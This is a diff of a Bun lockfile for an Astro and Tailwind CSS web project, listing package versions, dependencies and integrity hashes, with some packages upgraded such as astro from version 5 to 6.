"@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="], "@tailwindcss/node": ["@tailwindcss/node@4.2.4", "", { "dependencies": { "@jridgewell/remapping": "^2.3.5", "enhanced-resolve": "^5.19.0", "jiti": "^2.6.1", "lightningcss": "1.32.0", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.2.4" } }, "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA=="],
"@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="], "@tailwindcss/oxide": ["@tailwindcss/oxide@4.2.4", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.2.4", "@tailwindcss/oxide-darwin-arm64": "4.2.4", "@tailwindcss/oxide-darwin-x64": "4.2.4", "@tailwindcss/oxide-freebsd-x64": "4.2.4", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", "@tailwindcss/oxide-linux-x64-musl": "4.2.4", "@tailwindcss/oxide-wasm32-wasi": "4.2.4", "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" } }, "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q=="],
@@ -302,6 +317,8 @@
"@types/sax": ["@types/sax@1.2.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A=="], "@types/sax": ["@types/sax@1.2.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A=="],
"@types/trusted-types": ["@types/trusted-types@2.0.7", "", {}, "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw=="],
"@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="], "@types/unist": ["@types/unist@3.0.3", "", {}, "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="],
"@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="], "@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
@@ -322,7 +339,7 @@
"@vscode/l10n": ["@vscode/l10n@0.0.18", "", {}, "sha512-KYSIHVmslkaCDyw013pphY+d7x1qV8IZupYfeIfzNA+nsaWHbn5uPuQRvdRFsa9zFzGeudPuoGoZ1Op4jrJXIQ=="], "@vscode/l10n": ["@vscode/l10n@0.0.18", "", {}, "sha512-KYSIHVmslkaCDyw013pphY+d7x1qV8IZupYfeIfzNA+nsaWHbn5uPuQRvdRFsa9zFzGeudPuoGoZ1Op4jrJXIQ=="],
"acorn": ["acorn@8.15.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="], "acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
"acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="], "acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
@@ -330,11 +347,9 @@
"ajv-draft-04": ["ajv-draft-04@1.0.0", "", { "peerDependencies": { "ajv": "^8.5.0" }, "optionalPeers": ["ajv"] }, "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw=="], "ajv-draft-04": ["ajv-draft-04@1.0.0", "", { "peerDependencies": { "ajv": "^8.5.0" }, "optionalPeers": ["ajv"] }, "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw=="],
"ansi-align": ["ansi-align@3.0.1", "", { "dependencies": { "string-width": "^4.1.0" } }, "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w=="],
"ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], "ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
"ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
"anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="], "anymatch": ["anymatch@3.1.3", "", { "dependencies": { "normalize-path": "^3.0.0", "picomatch": "^2.0.4" } }, "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw=="],
@@ -348,26 +363,18 @@
"astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="], "astring": ["astring@1.9.0", "", { "bin": { "astring": "bin/astring" } }, "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg=="],
"astro": ["astro@5.18.1", "", { "dependencies": { "@astrojs/compiler": "^2.13.0", "@astrojs/internal-helpers": "0.7.6", "@astrojs/markdown-remark": "6.3.11", "@astrojs/telemetry": "3.3.0", "@capsizecss/unpack": "^4.0.0", "@oslojs/encoding": "^1.1.0", "@rollup/pluginutils": "^5.3.0", "acorn": "^8.15.0", "aria-query": "^5.3.2", "axobject-query": "^4.1.0", "boxen": "8.0.1", "ci-info": "^4.3.1", "clsx": "^2.1.1", "common-ancestor-path": "^1.0.1", "cookie": "^1.1.1", "cssesc": "^3.0.0", "debug": "^4.4.3", "deterministic-object-hash": "^2.0.2", "devalue": "^5.6.2", "diff": "^8.0.3", "dlv": "^1.1.3", "dset": "^3.1.4", "es-module-lexer": "^1.7.0", "esbuild": "^0.27.3", "estree-walker": "^3.0.3", "flattie": "^1.1.1", "fontace": "~0.4.0", "github-slugger": "^2.0.0", "html-escaper": "3.0.3", "http-cache-semantics": "^4.2.0", "import-meta-resolve": "^4.2.0", "js-yaml": "^4.1.1", "magic-string": "^0.30.21", "magicast": "^0.5.1", "mrmime": "^2.0.1", "neotraverse": "^0.6.18", "p-limit": "^6.2.0", "p-queue": "^8.1.1", "package-manager-detector": "^1.6.0", "piccolore": "^0.1.3", "picomatch": "^4.0.3", "prompts": "^2.4.2", "rehype": "^13.0.2", "semver": "^7.7.3", "shiki": "^3.21.0", "smol-toml": "^1.6.0", "svgo": "^4.0.0", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "tsconfck": "^3.1.6", "ultrahtml": "^1.6.0", "unifont": "~0.7.3", "unist-util-visit": "^5.0.0", "unstorage": "^1.17.4", "vfile": "^6.0.3", "vite": "^6.4.1", "vitefu": "^1.1.1", "xxhash-wasm": "^1.1.0", "yargs-parser": "^21.1.1", "yocto-spinner": "^0.2.3", "zod": "^3.25.76", "zod-to-json-schema": "^3.25.1", "zod-to-ts": "^1.2.0" }, "optionalDependencies": { "sharp": "^0.34.0" }, "bin": { "astro": "astro.js" } }, "sha512-m4VWilWZ+Xt6NPoYzC4CgGZim/zQUO7WFL0RHCH0AiEavF1153iC3+me2atDvXpf/yX4PyGUeD8wZLq1cirT3g=="], "astro": ["astro@6.1.9", "", { "dependencies": { "@astrojs/compiler": "^3.0.1", "@astrojs/internal-helpers": "0.9.0", "@astrojs/markdown-remark": "7.1.1", "@astrojs/telemetry": "3.3.1", "@capsizecss/unpack": "^4.0.0", "@clack/prompts": "^1.1.0", "@oslojs/encoding": "^1.1.0", "@rollup/pluginutils": "^5.3.0", "aria-query": "^5.3.2", "axobject-query": "^4.1.0", "ci-info": "^4.4.0", "clsx": "^2.1.1", "common-ancestor-path": "^2.0.0", "cookie": "^1.1.1", "devalue": "^5.6.3", "diff": "^8.0.3", "dset": "^3.1.4", "es-module-lexer": "^2.0.0", "esbuild": "^0.27.3", "flattie": "^1.1.1", "fontace": "~0.4.1", "github-slugger": "^2.0.0", "html-escaper": "3.0.3", "http-cache-semantics": "^4.2.0", "js-yaml": "^4.1.1", "magic-string": "^0.30.21", "magicast": "^0.5.2", "mrmime": "^2.0.1", "neotraverse": "^0.6.18", "obug": "^2.1.1", "p-limit": "^7.3.0", "p-queue": "^9.1.0", "package-manager-detector": "^1.6.0", "piccolore": "^0.1.3", "picomatch": "^4.0.4", "rehype": "^13.0.2", "semver": "^7.7.4", "shiki": "^4.0.2", "smol-toml": "^1.6.0", "svgo": "^4.0.1", "tinyclip": "^0.1.12", "tinyexec": "^1.0.4", "tinyglobby": "^0.2.15", "tsconfck": "^3.1.6", "ultrahtml": "^1.6.0", "unifont": "~0.7.4", "unist-util-visit": "^5.1.0", "unstorage": "^1.17.5", "vfile": "^6.0.3", "vite": "^7.3.2", "vitefu": "^1.1.2", "xxhash-wasm": "^1.1.0", "yargs-parser": "^22.0.0", "zod": "^4.3.6" }, "optionalDependencies": { "sharp": "^0.34.0" }, "bin": { "astro": "bin/astro.mjs" } }, "sha512-NsAHzMzpznB281g2aM5qnBt2QjfH6ttKiZ3hSZw52If8JJ+62kbnBKbyKhR2glQcJLl7Jfe4GSl0DihFZ36rRQ=="],
"axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="], "axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="],
"bail": ["bail@2.0.2", "", {}, "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw=="], "bail": ["bail@2.0.2", "", {}, "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw=="],
"base-64": ["base-64@1.0.0", "", {}, "sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg=="],
"boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="], "boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
"boxen": ["boxen@8.0.1", "", { "dependencies": { "ansi-align": "^3.0.1", "camelcase": "^8.0.0", "chalk": "^5.3.0", "cli-boxes": "^3.0.0", "string-width": "^7.2.0", "type-fest": "^4.21.0", "widest-line": "^5.0.0", "wrap-ansi": "^9.0.0" } }, "sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw=="],
"bun-types": ["bun-types@1.3.13", "", { "dependencies": { "@types/node": "*" } }, "sha512-QXKeHLlOLqQX9LgYaHJfzdBaV21T63HhFJnvuRCcjZiaUDpbs5ED1MgxbMra71CsryN/1dAoXuJJJwIv/2drVA=="], "bun-types": ["bun-types@1.3.13", "", { "dependencies": { "@types/node": "*" } }, "sha512-QXKeHLlOLqQX9LgYaHJfzdBaV21T63HhFJnvuRCcjZiaUDpbs5ED1MgxbMra71CsryN/1dAoXuJJJwIv/2drVA=="],
"camelcase": ["camelcase@8.0.0", "", {}, "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA=="],
"ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="], "ccount": ["ccount@2.0.1", "", {}, "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="],
"chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="],
"character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="], "character-entities": ["character-entities@2.0.2", "", {}, "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="],
"character-entities-html4": ["character-entities-html4@2.1.0", "", {}, "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA=="], "character-entities-html4": ["character-entities-html4@2.1.0", "", {}, "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA=="],
@@ -378,9 +385,7 @@
"chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="], "chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="],
"ci-info": ["ci-info@4.3.1", "", {}, "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA=="], "ci-info": ["ci-info@4.4.0", "", {}, "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg=="],
"cli-boxes": ["cli-boxes@3.0.0", "", {}, "sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g=="],
"cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="], "cliui": ["cliui@8.0.1", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" } }, "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ=="],
@@ -396,7 +401,7 @@
"commander": ["commander@11.1.0", "", {}, "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ=="], "commander": ["commander@11.1.0", "", {}, "sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ=="],
"common-ancestor-path": ["common-ancestor-path@1.0.1", "", {}, "sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w=="], "common-ancestor-path": ["common-ancestor-path@2.0.0", "", {}, "sha512-dnN3ibLeoRf2HNC+OlCiNc5d2zxbLJXOtiZUudNFSXZrNSydxcCsSpRzXwfu7BBWCIfHPw+xTayeBvJCP/D8Ng=="],
"cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="], "cookie": ["cookie@1.1.1", "", {}, "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ=="],
@@ -410,8 +415,6 @@
"css-what": ["css-what@6.2.2", "", {}, "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA=="], "css-what": ["css-what@6.2.2", "", {}, "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA=="],
"cssesc": ["cssesc@3.0.0", "", { "bin": { "cssesc": "bin/cssesc" } }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
"csso": ["csso@5.0.5", "", { "dependencies": { "css-tree": "~2.2.0" } }, "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ=="], "csso": ["csso@5.0.5", "", { "dependencies": { "css-tree": "~2.2.0" } }, "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ=="],
"daisyui": ["daisyui@5.5.19", "", {}, "sha512-pbFAkl1VCEh/MPCeclKL61I/MqRIFFhNU7yiXoDDRapXN4/qNCoMxeCCswyxEEhqL5eiTTfwHvucFtOE71C9sA=="], "daisyui": ["daisyui@5.5.19", "", {}, "sha512-pbFAkl1VCEh/MPCeclKL61I/MqRIFFhNU7yiXoDDRapXN4/qNCoMxeCCswyxEEhqL5eiTTfwHvucFtOE71C9sA=="],
@@ -420,6 +423,10 @@
"decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="], "decode-named-character-reference": ["decode-named-character-reference@1.2.0", "", { "dependencies": { "character-entities": "^2.0.0" } }, "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q=="],
"dedent-js": ["dedent-js@1.0.1", "", {}, "sha512-OUepMozQULMLUmhxS95Vudo0jb0UchLimi3+pQ2plj61Fcy8axbP9hbiD4Sz6DPqn6XG3kfmziVfQ1rSys5AJQ=="],
"deepmerge": ["deepmerge@4.3.1", "", {}, "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A=="],
"defu": ["defu@6.1.4", "", {}, "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg=="], "defu": ["defu@6.1.4", "", {}, "sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg=="],
"dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="], "dequal": ["dequal@2.0.3", "", {}, "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA=="],
@@ -428,8 +435,6 @@
"detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
"deterministic-object-hash": ["deterministic-object-hash@2.0.2", "", { "dependencies": { "base-64": "^1.0.0" } }, "sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ=="],
"devalue": ["devalue@5.6.4", "", {}, "sha512-Gp6rDldRsFh/7XuouDbxMH3Mx8GMCcgzIb1pDTvNyn8pZGQ22u+Wa+lGV9dQCltFQ7uVw0MhRyb8XDskNFOReA=="], "devalue": ["devalue@5.6.4", "", {}, "sha512-Gp6rDldRsFh/7XuouDbxMH3Mx8GMCcgzIb1pDTvNyn8pZGQ22u+Wa+lGV9dQCltFQ7uVw0MhRyb8XDskNFOReA=="],
"devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="], "devlop": ["devlop@1.1.0", "", { "dependencies": { "dequal": "^2.0.0" } }, "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA=="],
@@ -456,7 +461,7 @@
"entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="], "entities": ["entities@6.0.1", "", {}, "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g=="],
"es-module-lexer": ["es-module-lexer@1.7.0", "", {}, "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA=="], "es-module-lexer": ["es-module-lexer@2.0.0", "", {}, "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw=="],
"esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="], "esast-util-from-estree": ["esast-util-from-estree@2.0.0", "", { "dependencies": { "@types/estree-jsx": "^1.0.0", "devlop": "^1.0.0", "estree-util-visit": "^2.0.0", "unist-util-position-from-estree": "^2.0.0" } }, "sha512-4CyanoAudUSBAn5K13H4JhsMH6L9ZP7XbLVe/dKybkxMO7eDyLsT8UHl9TRNrU2Gr9nz+FovfSIjuXWJ81uVwQ=="],
@@ -468,6 +473,10 @@
"escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], "escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="],
"esm-env": ["esm-env@1.2.2", "", {}, "sha512-Epxrv+Nr/CaL4ZcFGPJIYLWFom+YeV1DqMLHJoEd9SYRxNbaFruBwfEX/kkHUJf55j2+TUbmDcmuilbP1TmXHA=="],
"esrap": ["esrap@2.2.5", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.4.15" }, "peerDependencies": { "@typescript-eslint/types": "^8.2.0" }, "optionalPeers": ["@typescript-eslint/types"] }, "sha512-/yLB1538mag+dn0wsePTe8C0rDIjUOaJpMs2McodSzmM2msWcZsBSdRtg6HOBt0A/r82BN+Md3pgwSc/uWt2Ig=="],
